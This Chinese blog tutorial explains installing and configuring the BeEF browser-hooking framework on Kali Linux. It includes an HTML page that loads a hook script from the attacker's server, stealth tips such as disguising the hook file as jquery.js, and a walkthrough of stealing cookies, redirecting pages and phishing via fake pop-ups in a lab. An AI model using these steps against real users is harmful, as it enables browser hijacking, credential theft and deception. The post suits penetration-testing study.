欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

kali之beef的使用

程序员文章站 2022-03-09 22:51:21
...

一、beef介绍

BeeF是前欧美最流行的web框架攻击平台,kali 集成Beef,而且Beef有很多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机,强大的有些吓人。
beef也是属于c/s结构,具体看图
kali之beef的使用zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可 以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

二、kali下使用beef

kali默认已经安装了beef,但是我的kali没有,我也不知道为什么0.0,那就自己装一个吧。命令:

apt install beef-xss

kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器

systemctl start beef-xss.service  #开启beef 
systemctl stop beef-xss.service     #关闭beef 
systemctl restart beef-xss.service  #重启beef

配置beef

kali下的BeeF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录 下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下config.yaml,建议修改几个地方:

### 指定某个网段,只有在这个网段的浏览器才能被hookpermitted_hooking_subnet: "0.0.0.0/0"
### 指定某个网段,只有在这个网段的浏览器才能访问管理UI permitted_ui_subnet: "0.0.0.0/0"  ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
###  设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认host: "0.0.0.0" 
###  设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024port: "3000"
### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。 xhr_poll_timeout: 1000 #public: ""      # public hostname/IP address 
#public_port: ""  # experimental 
### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。 
 ### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面web_ui_basepath: "/ui" 
### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性hook_file: "/hook.js" ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的credentials:     user:   "beef"   passwd: "beef"

实际操作

接下来实际使用BeEF,体验一下。首先修改监听的ip地址为kali的ip
kali之beef的使用
开启BeEF服务器,接着用浏览器访问管理页面http://192.168.133.131:30 00/ui/panel, 使用设置的用户/密码登录。
kali之beef的使用
接着访问有勾子的页面http://192.168.133.131:3000/demos/basic.html 这里的主机名和端口号要按照你设置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要 使用其他浏览器来访问有勾子的页面。
下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:

<html>
<head>
<script src='http://192.168.133.131:3000/hook.js'></script> <!-- 这里的主机和端口号,需要 和配置文件的一致。 --> 
</head> 
<body> Hello World </body> 
</html>

接着使用一个浏览器来打开,那么这个浏览器就会被hook了。 查看管理页面UI会是类似下面图:
kali之beef的使用
接着我们就可以在commands里面进行各种操作了比如
获取cookie
kali之beef的使用网页重定向
kali之beef的使用社工弹窗
kali之beef的使用
目标机页面
kali之beef的使用
如果对方输入了信息,kali还能接收到。
kali之beef的使用
在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:
绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转 等)
灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
红色:命令模块不适用于此目标

本文所介绍技术仅供参考学习,切勿恶意用途

相关标签: beef